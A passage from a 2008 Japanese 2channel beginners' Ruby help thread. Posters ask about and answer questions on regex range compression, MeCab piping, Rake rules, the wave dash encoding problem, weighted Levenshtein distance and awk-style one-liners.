373 名前:デフォルトの名無しさん [2008/01/29(火) 16:22:31 ] ああ.一応4行目で変換は完了してるんですが, strの中身が以下の様だったりする場合にも対応したいので. str = '2007年(01|02|03|04|05|06|07|08|09|10|11)月' => 2007年(0[1-9]|1[01])月 str = '2007年(10|11|12)月' => 2007年1[0-2]月 str = '(2007年(10|11|12)月|2008年(01|02|03|04|05|06|07|08|09|10|11|12)月)' => (2007年1[0-2]月|2009年(0[1-9]|1[0-2])月) str = '01|02|03|04|05|06|07|08' => 0[1-8] str = '11|12|13|14|25|26|27|28' => 1[1-4]|2[5-8] といった感じに変換されるようなモジュールなどはありませんか?
374 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 16:22:59 ] >>371 まず何がしたいのか分からん
375 名前:デフォルトの名無しさん [2008/01/29(火) 16:31:41 ] 長い正規表現を短くまとめたいのですが.
376 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 16:37:29 ] >>374 >>373 だろ 要は、/1|2|3|4|5/ を /[1-5]/ に変換するようなうまい方法はないか、という質問 変換用のペアを自前で記述したものを作って総置換かける以外の方法はないような気がする Rangeオブジェクトを使うと '11|12|13|14|15|16|17|18|19' を (11..19).to_a.join('|') にできるがその程度だろう
377 名前:デフォルトの名無しさん [2008/01/29(火) 16:41:23 ] >>376 そうですか.ゴリゴリ書いてみます. ありがとうございました.
378 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 16:42:58 ] ??? そもそも正規表現ってなんだっけ?と考えてしまったろぉ
379 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 16:45:00 ] >>377 外部から正規表現を受け取って短く変換して返すというアプリケーションを作ってるなら、わりと無駄だと思うのでやめとけ 正規表現の記述が短くなったからといって正規表現としての効率が上がるとは限らない 冗長に記述したほうが速いぜということもままあるはず で、もし、既に存在する正規表現を手作業でくっつけてるために変換を欲してるのなら、 Regexp.joinで正規表現をくっつけることも検討するといい
380 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 16:47:43 ] eroero.com/eroero{1-5}.jpg を eroero.com/eroero1.jpg eroero.com/eroero2.jpg eroero.com/eroero3.jpg eroero.com/eroero4.jpg eroero.com/eroero5.jpg 展開するのってどうやるの?
381 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 16:53:36 ] >>380 自動ではできないと思う 自分で都合のいいマッチ条件を書いて場合分けして置換するしかないんじゃね 与えられた文字列で{数字A-数字B}を検知したら数字Aから数字Bまでのeachを起動してその部分を数字に置換する、とか zshなんかでは専用の処理が既に組み込まれてたりしたはず
382 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 16:56:30 ] 正規表現の最適化とかそういうことをやるには、正規表現処理系の中身に 手を出すような処理が必要になる、つまり自分で正規表現処理系を新しく 実装して、とかいうことになる。
383 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 17:04:13 ] 後に画期的なコンパイラコンパイラを生み出す371であった
384 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 17:06:03 ] eroero.com/eroero[1-5].jpg のほうがいいんじゃまいか、そんで eroero.com/eroero{1,3,5}.jpg がいいな
385 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 17:06:40 ] eroero.comが普通に存在している件
386 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 17:08:42 ] どうでもいいが例示はexample.comを使え 実在するドメインに迷惑かけないように
387 名前:デフォルトの名無しさん [2008/01/29(火) 17:09:34 ] >>379 ええ.ありがとうございます. ただし,私の場合,スピードを求めているのではなくて, 可読性の向上と255文字制限を回避するためなのです. 255文字制限は他のプログラムで存在するので対策が必要です. 他のプログラムで,あるデータベースから自動的に生成された 年月日などの規則性のある,連続した数字の羅列を, 正規表現で表現し,さらに簡潔な表記に変換した後, テキストで出力し,そのファイルを別のプログラムで使用する という形のプログラムを作成中です. ちょっと組んでみたのですが,かなり面倒ですねw 2桁の数字で真面目にやったら1000行超えちゃいますね. ああ面倒だ.頻出の物だけで済ませるか. 数字を纏める事一つでここまで手こずるとは予想外でした.
388 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 17:49:12 ] >>387 要件が曖昧な気がするな。 例) 01, 02, 11, 13 これの要約表現として、 a) [0-1][1-3] b) 0[1-2]|11|13 のどちらのようなものを求めるか、もわかりにくい。 数値としての範囲を記述させようという b)のようなら、正規表現は向かないだろう。 a)のように各桁独立で、0-9範囲の文字として処理させるなら、20行もいらないと思うが。
389 名前:デフォルトの名無しさん [2008/01/29(火) 18:21:59 ] >>388 基本的には「元の正規表現と等価である」というのが要件です. a)の場合は元の数値を含んでいますが,それ以外の 03や12なども含んでしまいますから等価ではないと思います. そのあたりの厳密性が要求されるのでb)が望ましいと言えます. 思いついたアルゴリズムとしては,|で区切った数値を 全て配列に書き出して,ソートして,一つ一つ取り出して, 連続しているようなら[ - ]で繋ぐという様なアルゴリズムで やろうかなと思います.
390 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 18:32:10 ] ふくろう本(みみずく本だっけ?)にないかなあ とあてずっぽうを言ってみるテスト
391 名前:238 mailto:sage [2008/01/29(火) 19:45:54 ] 大変な遅レスです。すみません。 >>255 うう、Cygwinは捨てたくないし、Winを捨てたら Win32OLEが使えませんし、ちょ と困ります。その関数もさすがに煩雑ですし。 >>261 おお!この手があったか!ありがとうございます。さっそく読んでみます。
392 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 20:11:08 ] >>388 perlのRegexp::Assembleのソース読んでみれば。
393 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 20:20:28 ] >>389 単純なalternationだけでいいなら、 いったん全部をトライ木に突っ込むのが簡単。
394 名前:デフォルトの名無しさん [2008/01/29(火) 21:29:58 ] >>392 perlですか.勉強してみます. >>393 なるほど.トライ木ですか. ありがとうございます.
395 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 21:39:06 ] というか、出力パターンが極めて限定されていて、 正規表現として解釈する必要が本質的に無いとかいうオチは無いだろうか
396 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 23:53:14 ] 俺も正規表現使わないほうが早いんじゃないかとちょっとだけ思った
397 名前:デフォルトの名無しさん [2008/01/29(火) 23:55:06 ] パイプで別のプログラムを呼ぶときのことで質問させてください。 Rubyはmswin32の1.8系です。 RubyからMeCab(形態素解析ツール)を呼ぼうと次のように書いたのですが、 関数内での結果受け取り部分をどう書くのがよいかわかりません。。 プロンプトでMeCabの動作は、上記のようにオプションなしに呼んだ場合、文字列の入力を促され、 入力すると複数行の結果とEOS(文字列)が返って、次の入力待ちになります。 私\t説明 の\t説明 名前\t説明 EOS ・・(入力待ち) 以下ではこの流れをそのまま書きました。(続く)
398 名前:397続き [2008/01/29(火) 23:55:58 ] def parse(str) result = [] io = open("|C:/MeCab/bin/mecab.exe", "r+") io.puts str #ここで解析結果受け取り(後述) io.close; result end result_array = parse("私の名前") #結果を配列で受け取る ここで、入力待ち状態になったところをRubyでどう受け取ってMeCabを終わらせたらいいのかわからないのです。 nilなどが返るわけじゃないみたいですし・・・ 自分なりに書いたコードは以下で、一応動いています。(上記関数内のコメント部分に入る) while 1 word = io.gets.chomp! break if /\AEOS\z/ =~ word result << word end io.puts "^C" #こんなわけないような・・・ EOSの行は不要なのでこうしたのですが、MeCab以外の場合のことを考えるとこれじゃダメですよね。 もっと一般的な書き方があったら、おしえてください。(入力待ちになったら終了、など)
399 名前:デフォルトの名無しさん mailto:sage [2008/01/30(水) 00:02:55 ] >>397 一般論として、相手側がまだ出力を続けているけど遅延か何かでたまたまデータが来ないのか、はたまた出力が終わって今度は入力待ちになったのか、を知る方法はない。 今回の例だったら、EOSが来て相手の出力が終わったことはわかるんだから、もう用がないならio.closeでOK。
400 名前:デフォルトの名無しさん mailto:sage [2008/01/30(水) 00:04:03 ] io.close_writeかな? あと、回答とは違うがmecab-rubyを使うという選択肢はなし?
401 名前:397 [2008/01/30(水) 00:22:58 ] >>399 >>400 ありがとうございます。入力待ちで信号が来るわけじゃないんですね。 mecab-rubyはcygwin版でないとインストールが面倒そうだったので 早々にあきらめてしまいました。 過去スレにはWin32APIを介して・・というのも出ていたのですが 自分のスキルでは未知の領域なので同様に^^;
402 名前:デフォルトの名無しさん mailto:sage [2008/01/30(水) 02:41:18 ] ruby 1.8.6 (2007-03-13 patchlevel 0) [i386-cygwin] です。 まちがって終わらない Thread を作ってしまい、Cygwin を走らせている アプリごと止めたんですが、改めて実行したら deadlock エラーがでました。 しかたがないので再起動してみたんですが、それでも deadlock がおきます。 ためしに irb を起動してみたらこのようにゾンビ化した Thread が残っています。 $ irb irb(main):001:0> Thread.current => #<Thread:0x1003c978 run> これ、どうやって消すんでしょうか?
403 名前:デフォルトの名無しさん mailto:sage [2008/01/30(水) 03:05:51 ] >>402 それ単なる自分のスレッドだから。 アプリでdeadlockが起こってるってのはなんかロックとして使ってるファイルでも 消してないんじゃないか?tmpとか見てみれ
404 名前:デフォルトの名無しさん mailto:sage [2008/01/30(水) 03:55:40 ] >>403 > それ単なる自分のスレッドだから。 そうみたいですね。 はやとちりでした。 どうやら自分が Thread の扱い方を理解していないだけみたいです。 orz
405 名前:デフォルトの名無しさん mailto:sage [2008/01/30(水) 16:09:34 ] 正規表現で前からずっと気になってたので質問。 「でっかいHTMLから<title>を抜き出す」という場合 html.scan(/<title>(.+?)<\/title>/) みたいな書き方するんだけど、これよく考えたらhtml内で</title>が終わった後もえんえんサーチしてるよね。 「ひとつ見つけたらそこで終了させる」というような指定はできない?
406 名前:デフォルトの名無しさん mailto:sage [2008/01/30(水) 16:17:57 ] >>405 '123451'.scan(/(1)/){p Time.now.to_f} 1201677254.19416 1201677254.19554 ということで、マッチするものが見つかるたびにブロックを実行してるようなので '123451'.scan(/(1)/){ p $1; break} "1" 即breakすれば桶
407 名前:デフォルトの名無しさん mailto:sage [2008/01/30(水) 16:18:55 ] ブロック内でbreakすればいいんじゃない?
408 名前:デフォルトの名無しさん mailto:sage [2008/01/30(水) 16:23:14 ] そもそもscanを使わないというのは無しですか? p $1 if /<title>(.*?)<\/title>/ =~ html
409 名前:デフォルトの名無しさん mailto:sage [2008/01/30(水) 17:08:38 ] html.scan(/<title>(.+?)<\/title>/, 1)
410 名前:デフォルトの名無しさん mailto:sage [2008/01/30(水) 18:07:49 ] >>409 これなんだろうと思ってリファレンスマニュアル見たけど無いよ slice(regexp[, nth]) の間違いだな
411 名前:デフォルトの名無しさん mailto:sage [2008/01/30(水) 18:45:11 ] WinとLinux(LinuxZaurus)で動くシリアルポートを操作するツールを作りたいのですが 何か良い方法があったら教えてください シリアルポート操作クラスはあるようですがWin用だったりして WinとLinuxであまりコードを変えたくないのですが… Winでmodeコマンド&IO.openを使う方法を試しているのですが `MODE COM4 BAUD=115200 PARITY=N DATA=8 STOP=1` com = open("COM1", 'r+b') sleep(1) com.syswrite("AT@K20\r") sleep(0.1) while true $> << com.sysread(1) end com.close よろしくお願いします
412 名前:デフォルトの名無しさん [2008/01/31(木) 01:03:43 ] すみません、RDEで実行結果(コンソールウィンドウ)をUTF8Nで表示する方法教えて下さい。 いろいろ試したのですが文字化けが直りません。 (以前のPCでは表示された気がしたのですが設定方法忘れてしまいました) RDE v1.1.1 / Ruby-mswin32 v1.8.6 / WindowsXP SP2 RDE設定 ・フォント(設定&エディタ設定): MS Pゴシック、文字セット:日本語 ・Ruby通常オプション: 「-Ku」(無しでも試したがダメ) ・コードウィンドウ>文字コード変換: japanese.dll(Y SJIS)にunicode.dllを追加(Y SJIS) ・コードウィンドウ>文字コード・ 「UTF8N + 改行:LF」 コード先頭に#!○○/ruby -Kuや$KCODE = 'u'、2行目に日本語のコメントを付けてもダメでした 文字コード変換のDLLのSJISを変更しないとダメなのでしょうか?(方法が判らないです)
413 名前:デフォルトの名無しさん mailto:sage [2008/01/31(木) 15:20:33 ] Rubyから実行中のDirectXのfpsを取得するライブラリーとかない? 念を押すと、fpsのみでいいんだけども。
414 名前:デフォルトの名無しさん [2008/01/31(木) 16:55:01 ] Rakefileで CXX = 'g++' CXXFLAGS = '-Wall -g' TARGET = 'hellorake.exe' SRCs = FileList['./*.cpp'] OBJs = SRCs.sub(/$/, '.o') task :default => TARGET class Rake::Task alias :preqs :prerequisites end require 'rake/clean' CLEAN.include(OBJs) CLEAN.include(TARGET) rule('.cpp.o' => [proc {|o| o.sub(/\.cpp\.o$/, '.cpp') }]) do |t| sh "#{CXX} #{CXXFLAGS} -o #{t.name} -c #{t.source}" end file TARGET => OBJs do |t| sh "#{CXX} -o #{t.name} #{t.preqs}" end だとうまくいくのですが 「rule('.cpp.o' => [proc {|o| o.sub(/\.cpp\.o$/, '.cpp') }]) do |t|」の部分をシンプルにしようと思い 「rule '.cpp.o' => '.cpp' do |t|」にしたらDon't know how to build task './hellorake.cpp.o'と言われてしまいます Matzの呪いかと思ったのですがC言語なソースにしても同じでした><
415 名前:デフォルトの名無しさん mailto:sage [2008/01/31(木) 18:20:10 ] >>413 > 実行中のDirectXのfpsを取得するライブラリーとかない? うーん。見たことないな・・・ DirectXの録画ソフトだと大抵ついている機能だから、 作者に頼んでみるとか、 オープンソースのソースを見て自分で作るとか
416 名前:415 mailto:sage [2008/01/31(木) 18:27:34 ] >>413 試してないが、この辺とか Taksi: Video capture/Screen capture for 3D applications taksi.sourceforge.net/ 他にも sourceforge に似たソフトがあったと思う あと、ムービー録画するソフトに関してはこちらの方が詳しい 【鑑賞】 ムービースレッド 【作成】 part2 game14.2ch.net/test/read.cgi/gamef/1167265823/
417 名前:デフォルトの名無しさん mailto:sage [2008/01/31(木) 19:22:03 ] >>414 OBJs = SRCs.sub(/\.cpp$/, '.o') rule '.o' => '.cpp' do |t| なら動くが、二重のsuffixには対応しないんじゃね?
418 名前:デフォルトの名無しさん mailto:sage [2008/01/31(木) 19:50:08 ] ていうか勝手に自己解釈で縮めんなよ
419 名前:デフォルトの名無しさん mailto:sage [2008/01/31(木) 19:51:22 ] >>418 ???
420 名前:デフォルトの名無しさん [2008/01/31(木) 20:37:42 ] 教えてください。 UTF8の文字列に対して、正規表現で何かする場合に、 「〜」という文字が使えない気がするのですが、何故でしょうか? Ruby1.8.6をWindowsで使ってます。
421 名前:420 [2008/01/31(木) 21:15:20 ] ごめんなさい。Kconvの問題のような感じなんですが。。 -------------------------- require 'kconv' s = "〜あはははは〜" if s =~ /〜.*〜/ then puts "Done" else puts "Failed" end if s =~ /あ.*は/ then puts "Done" else puts "Failed" end t = Kconv.tosjis(s) u = Kconv.toutf8(t) if u =~ /〜.*〜/ then puts "Done" else puts "Failed" end if u =~ /あ.*は/ then puts "Done" else puts "Failed" end ---------------------- ↑を実行すると Done Done Failed Done となります。何か間違ってるところがあるのか、教えていただければ嬉しいです。
422 名前:デフォルトの名無しさん mailto:sage [2008/01/31(木) 21:27:23 ] 試さないで適当にレスするけど 正規表現の後ろにuってつけてみたらどうだ /〜/u みたいに
423 名前:デフォルトの名無しさん mailto:sage [2008/01/31(木) 21:30:10 ] >>421 文字コード指定してないんだから、そりゃマッチしなくて当然だ 初期状態では、正規表現はマルチバイト文字列にマッチしないようにできてる (少なくとも確実にマッチするという保証はない) $KCODEを設定するか、あるいは正規表現に文字コード指定をつけるかしないとダメ
424 名前:デフォルトの名無しさん mailto:sage [2008/01/31(木) 21:34:09 ] 「〜」であるべきコードの主力が ウエーブダッシュ:〜 全角チルダ:~ のふたつあるのが問題かなーとおもったけど、ちがうのか
425 名前:420 [2008/01/31(木) 21:44:01 ] >>422 今、やってみましたが、変化無かったです。 >>423 頭に、$KODE指定も付けてみましたが、変化無かったです。
426 名前:420 [2008/01/31(木) 21:47:28 ] >>424 それは全く知りませんでした。 今、後半の「〜」をウエーブダッシュというので、書き換えて やったらうまくいきました!! 本当に有難うございます。 ちなみにこの話っていうのはよく知られた問題なのでしょうか?
427 名前:デフォルトの名無しさん mailto:sage [2008/01/31(木) 21:49:29 ] >>425 1. どんな$KCODE指定をつけたのか書くこと 2. tosjis&toutfで、正しく文字コードを変換できているかどうかをチェックすること
428 名前:デフォルトの名無しさん mailto:sage [2008/01/31(木) 21:52:10 ] あーubuntuで作った文書をWinに持ってきたら 〜のつもりだった部分が全部ウェーブダッシュだったとかよくあるよな
429 名前:420 [2008/01/31(木) 22:03:02 ] >>427 1. $KCODE='UTF-8'としました。 コードのファイルはUTF-8で保存してます。 2. チェックの仕方が良く分からないので、ソースの文字コード指定で 以下のようにしましたが、変化無かったです。 t = Kconv.kconv(s, Kconv::SJIS, Kconv::UTF8) u = Kconv.kconv(t, Kconv::UTF8, Kconv::SJIS) >>428 そうなんですか!よくある問題なんですね。。勉強になります。 ホント有難うございました。こんな早くに解決するとは、、 422さん,423さんもありがとうございました。
430 名前:デフォルトの名無しさん mailto:sage [2008/01/31(木) 22:06:40 ] 〜は Mac ←→ Windows でも変になることがある厄介者。
431 名前:デフォルトの名無しさん mailto:sage [2008/01/31(木) 22:10:02 ] WAVE DASH 問題 でググるとあれこれ出てくるぐらい有名な問題です
432 名前:420 [2008/01/31(木) 22:16:09 ] >>430 >>431 まじすか。ウエーブダッシュというものの存在自体しりませんでしたorz 初心者スレで質問してよかった。。
433 名前:デフォルトの名無しさん mailto:sage [2008/01/31(木) 22:42:26 ] MSが〜を全角チルダで変換するのは1992年のWindows3.1登場から。 で、規格は〜をウェーブダッシュにしろといってるが、これは1994年製。 だから、互換性重視するWindowsで〜をUnicodeにするとみんな全角チルダになる。 規格通り変換テーブルを実装すると〜の変換先はウェーブダッシュになるから大変な目に Unicodeの絡みであと問題になりやすいのは、MACがファイル名をNFDして持ち出してくることかな
434 名前:86 mailto:sage [2008/01/31(木) 23:33:29 ] すいません。未だにできないので、どなたかご教授ください。 文字列の距離を求めることはできるのですが、 母音(aiueo)の挿入、置換、削除が行われたときのみ、重みを1じゃなくて2としてで距離を計算したいんです。 kasaとsasaの距離は1 kasaとkasuの距離は2 といった感じです。どなたかよろしくお願いします。
435 名前:デフォルトの名無しさん mailto:sage [2008/02/01(金) 00:08:29 ] def kyori(s, t) s.split('').zip(t.split('')).inject(0){|x,y| y[0] == y[1] ? x : x += (y[0] =~ /[aiueo]/ ? 2 : 1) } end kyori('kasa', 'sasa') => 1 kyori('kasa', 'kasu') => 2
436 名前:デフォルトの名無しさん mailto:sage [2008/02/01(金) 00:37:55 ] >>433 良く知らんけど、1992年にすでにCP932->Unicodeの変換表とかまであったの? kernel32.dll に MultiByteToWideChar とかのユニコード変換系APIが 追加されたのは NT3.1以降、95以降らしい。 それ以前に互換性が問題になるほど外部に公開されてたAPIとか変換表ってあったん?
437 名前:デフォルトの名無しさん mailto:sage [2008/02/01(金) 00:40:19 ] >>436 もちつけ。
438 名前:デフォルトの名無しさん mailto:sage [2008/02/01(金) 01:19:06 ] WAVE DASH 問題の歴史は、安岡先生の ttp://slashdot.jp/~yasuoka/journal/357074 とかかな
439 名前:デフォルトの名無しさん [2008/02/01(金) 05:37:10 ] 本に載っているとおりに実行しているのですができません。 file = open("test.txt") print file.read :in `initialize': No such file or directory - test.txt (Errno::ENOENT) in `open' と表示されます。 どなたか教えてください。
440 名前:デフォルトの名無しさん [2008/02/01(金) 05:42:36 ] >>439 そのままの意味。 test.txtがないから開けない。
441 名前:デフォルトの名無しさん [2008/02/01(金) 06:35:57 ] >>440 返答ありがとうございます。 test.txt があることは何度も確認しているのですが、 どうしても、エラー表示がでるので、他のファイルで試してみます。
442 名前:デフォルトの名無しさん mailto:sage [2008/02/01(金) 06:46:11 ] おそらくファイルのせいではありません。 カレントディレクトリ、というものを意識してください。
443 名前:デフォルトの名無しさん mailto:sage [2008/02/01(金) 07:34:53 ] またあれかな 'デスクトップ' の文字コードが違うとか
444 名前:デフォルトの名無しさん [2008/02/01(金) 08:43:40 ] >>442 >>443 ありがとうございます。 保存する前に実行していたので、エラーが出たようでした。 保存後実行で解決しました。
445 名前:86 mailto:sage [2008/02/01(金) 11:08:20 ] >>435 ありがとうございます。確かに距離はでましたが、 例えばyとyyyyの距離は挿入が3回行われるため距離3にしたいのです。 またuとyyyyなら距離4にしたいのです。 すいません、仕様不足でしたが、修正ソースお願いできないでしょうか?
446 名前:86 mailto:sage [2008/02/01(金) 11:13:37 ] 追加ですが、比較に使用する文字列長は最低2でした。すいません。 なのでyuとyayaなら距離は5となります。 日本語からローマ字に変換したもの同士を比較してるのですが、もし母音が一文字なのが余計でしたら 例えば変換規則をxaなどとして必ず偶数番目に母音を入れることも可能です。 きゃとかしゃも何とかします。
447 名前:デフォルトの名無しさん mailto:sage [2008/02/01(金) 11:31:53 ] Rubyを学ぶ気はなさそうだな 格好よく書かなければいけないという縛りを勝手に感じることがあるがそんなもん無視しろ 望む結果を出すプログラムであることが第一だ
448 名前:デフォルトの名無しさん mailto:sage [2008/02/01(金) 11:35:21 ] どうがんばっても泥臭くしか書けないものも、無くはないからな
449 名前:デフォルトの名無しさん mailto:sage [2008/02/01(金) 11:46:39 ] 俺はよりよい(あるいはまともな)プログラムにするのは半年後の自分に任せてる 何かよくわからない素晴らしいメソッドを使って1行で書けるのかもしれないが、今自力で作ることのほうが重要 まあ、半年後にはRubyどころかプログラミング言語すら使ってないっていうパターンもあるだろうけどな そういう場合は自己探求に任せるのは双方にとって馬鹿らしくはある
450 名前:86 mailto:sage [2008/02/01(金) 13:28:59 ] すいません。泥臭くてもやってみたいのですが、いかんせん>>435 の s.split('').zip(t.split('')).inject(0){|x,y| y[0] == y[1] ? x : x += (y[0] =~ /[aiueo]/ ? 2 : 1) } という一文が何をしているのかよくわからなくって・・・ 動作はするのに理解できてないのがわからず、修正しようにもできないのが現状です。 ですので、もしよかったらこの一文もご教授ください。。。ググッてみましたが.zipがうまく探せないです。
451 名前:デフォルトの名無しさん mailto:sage [2008/02/01(金) 13:39:13 ] このスレにはタチの悪いオナニーワンライナーが生息してるからな 初心者に自分の技術(と信じてるもの)を見せびらかして悦に浸る人種
452 名前:デフォルトの名無しさん mailto:sage [2008/02/01(金) 13:46:29 ] 思考をifとeachとローカル変数にバラすのもめんどいっちゃめんどいけどな 意図的に書いてる奴は放置として、気づいた人が平易なほうに書き直すのがよいかと思われ
453 名前:デフォルトの名無しさん mailto:sage [2008/02/01(金) 13:59:12 ] s.split('').zip(t.split('')).inject(0){|x,y| y[0] == y[1] ? x : x += (y[0] =~ /[aiueo]/ ? 2 : 1) } とりあえず脊髄反射的にバラしてみる s_splitted = s.split('') t_splitted = t.split('') zipped = s_splitted.zip(t_splitted) zipped.inject(0){|x,y| y[0] == if y[1] then x else x += if y[0] =~ /[aiueo]/ then 2 else 1 end end } split ttp://www.ruby-lang.org/ja/man/html/String.html#split zip ttp://www.ruby-lang.org/ja/man/html/Enumerable.html#zip inject ttp://www.ruby-lang.org/ja/man/html/Enumerable.html#inject
454 名前:デフォルトの名無しさん mailto:sage [2008/02/01(金) 14:36:46 ] 元のソース読むの面倒だったから、Wikipedia読んで一から書いた class String def levenstein(other) return nil if self.empty? return nil if other.empty? # 距離行列のサイズを確定 row_size = self.size + 1 col_size = other.size + 1 dm = [] row_size.times do dm << Array.new(col_size) end # 距離行列の値を初期化 for row in 0...row_size dm[row][0] = row end for col in 0...col_size dm[0][col] = col end (↓に続く)
455 名前:デフォルトの名無しさん mailto:sage [2008/02/01(金) 14:37:36 ] (続き) # 距離の計算 for row in 1...row_size for col in 1...col_size c1 = self.slice(row - 1, 1) c2 = other.slice(col - 1, 1) if c1 == c2 then cost = 0 elsif c1 =~ /[aiueo]/ then cost = 2 else cost = 1 end dm[row][col] = [ dm[row - 1][col] + 1, # 挿入 dm[row][col - 1] + 1, # 削除 dm[row - 1][col - 1] + cost # 置換 ].min end end #行列の最後の値が文字列間のレーベンシュタイン距離となる return dm.last.last end end puts 'kasa'.levenstein('sasa') #=> 1 puts 'kasa'.levenstein('kasu') #=> 2 puts 'yu'.levenstein('yaya') #=> 4
456 名前:454 mailto:sage [2008/02/01(金) 14:41:23 ] 挿入コストやら削除コストやらは面倒だったんで全部1にした あとは自分で何とかしてくれ もしコードの内容にミスがあったら、誰か突っ込んでほしい
457 名前:86 mailto:sage [2008/02/01(金) 18:54:01 ] >>453 ありがとうございます。ソースまでのっけてくださって。 本来ならここで後は組み合わせろとなるところを >>454 おかげで助かりました。 ただ、例えばauとyauuの距離が2になってしまうのでちょこっと改造しておきます。 if c1 == c2 then cost = 0 elsif c1 =~ /[aiueo]/ then cost = 2 else cost = 1 end のへんをいじってやってみます。 >>451 から>>456 にいたるまで、皆さん本当にどうもありがとうございました。
458 名前:86 mailto:sage [2008/02/01(金) 19:05:37 ] >>454 今見てやってみたら一瞬で改造できました。笑 ほんとにこんな長いソースを実ソースも見ずにやっていただいてありがとうございます。 僕も、もうちょっと勉強して、僕みたいな香具師を助ける側になれるようがんばります。
459 名前:デフォルトの名無しさん mailto:sage [2008/02/01(金) 20:00:08 ] >>450 すまんそれはネタというか冷やかしで書いたもので 挿入とか削除とかに対応してないから使えないだろうな、とは思ってた。 勿論、技術をひけらかすつもりもない。 というか俺も素人だからそんなに大したコードじゃないと思うんだが・・・ zipは二つの配列からペア配列を作るメソッド a=[:a,:b,:c] b=[1,2,3] c=a.zip(b) #=> [[:a,1],[:b,2],[:c,3]] ハッシュ作るときとかにたまに使う Hash[*c.flatten] #=> {:a=>1, :b=>2, :c=>3}
460 名前:デフォルトの名無しさん [2008/02/02(土) 00:54:44 ] rubyにはawkやperlみたいな「一行野郎」集ってないの? テキスト処理にわざわざスクリプト書きたくないんだけど。
461 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 01:01:47 ] こういうことを言うとおまえらから総攻撃を受けるかもしれないが 一行で書きたいならawk使ったほうがいいような気がする
462 名前:デフォルトの名無しさん [2008/02/02(土) 01:14:45 ] awkの$1、$2に相当する組み込み変数はないの?
463 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 01:26:22 ] >>460 ここにいますよー。 Rubyの宿題スレにもそこそこいる
464 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 01:27:19 ] >>462 正規表現使った時にそいつら使えるぜ
465 名前:デフォルトの名無しさん [2008/02/02(土) 01:27:59 ] ネタにマジレスで申し訳ないけど、「一行野郎」って人じゃなくてコマンドね。
466 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 01:31:20 ] >462 -aオプション(とゆーことは、-nか-pオプションも)付けたときだけだが $F[0]、$F[1]、……が$1、$2……相当。 $0は$_ リファレンスのコマンドラインオプションのとこ参照 ちなみにそこ読めば書いてあるが$_をフィールドセパレータで分割したのが$Fなんで$FはArray
467 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 01:32:30 ] ワンライナーで書くための努力は、はっきしいって無駄な努力だよ。 ワンライナーでかけたからといって、自己満足でしかない。
468 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 01:32:33 ] perlのawkサポートと同じオプションだな。
469 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 01:32:40 ] File.open('hoge.txt').each { |line| puts(line.split.join('-')) } みたいに書こうと思えば書けるが、 Perl みたいな変態的な省略は_
470 名前:デフォルトの名無しさん [2008/02/02(土) 01:37:02 ] >>466 それだ。ありがと。 フィールドセパレータはどうやって設定するんだろう。。 >>467 君ってあまりコマンドラインシェル使ったこと無いでしょ。
471 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 01:38:25 ] >>470 いや、トテモトテモ使ってるよ。
472 名前:デフォルトの名無しさん [2008/02/02(土) 01:41:12 ] FSは「$;」で、RSは「$/」だね。これなら使えそうだ。
473 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 01:45:30 ] BEGINとENDもあるな。
474 名前:デフォルトの名無しさん [2008/02/02(土) 01:47:35 ] awk互換モードが欲しいな。2.0くらいでつけてほしい。
475 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 01:53:22 ] それはawkでいいじゃんw
476 名前:デフォルトの名無しさん [2008/02/02(土) 02:08:31 ] awk的使い方でも、rubyの機能を使いたくならない?
477 名前:デフォルトの名無しさん [2008/02/02(土) 03:02:51 ] windowsのコマンドプロンプトのコマンドラインで「|」を使えないから、one linerでブロックで変数を受け取る構文が書けないよ。 どうすればいいの?
478 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 03:21:41 ] >>477 普通に書けるけど? > ruby -Ks -e "Dir.glob('*'){|x|p x}"
479 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 08:06:42 ] ^でエスケープ > ruby -Ks -e "Dir.glob('*'){^|x^|p x}"
480 名前:86 mailto:sage [2008/02/02(土) 10:00:40 ] >>459 ありがとうございます。zipに関してかなり理解できました。 けっこー使えそうなメソッドなのでばりばり使っていきます。
481 名前:デフォルトの名無しさん [2008/02/02(土) 10:04:11 ] >>478 >>479 せんくす
482 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 13:43:33 ] ネット上の、時々更新されるHTMLをパースしてハッシュにして返すメソッドを作りました。 しかし、「データがありません」という場合どうするかで悩んでます。 a) 空のハッシュ {} を返す b) 偽である nil を返す c) 自作の例外を発生させる どれが妥当でしょか。 このハッシュは別の大きなハッシュに {サイト名 => parsed_hash} のように格納される予定です。 データがありませんの大きな理由として 「過去のハッシュとの差分がゼロ」 「HTML中にパースすべき該当項目なし」 「そもそもサーバにアクセスできない」 等があります。
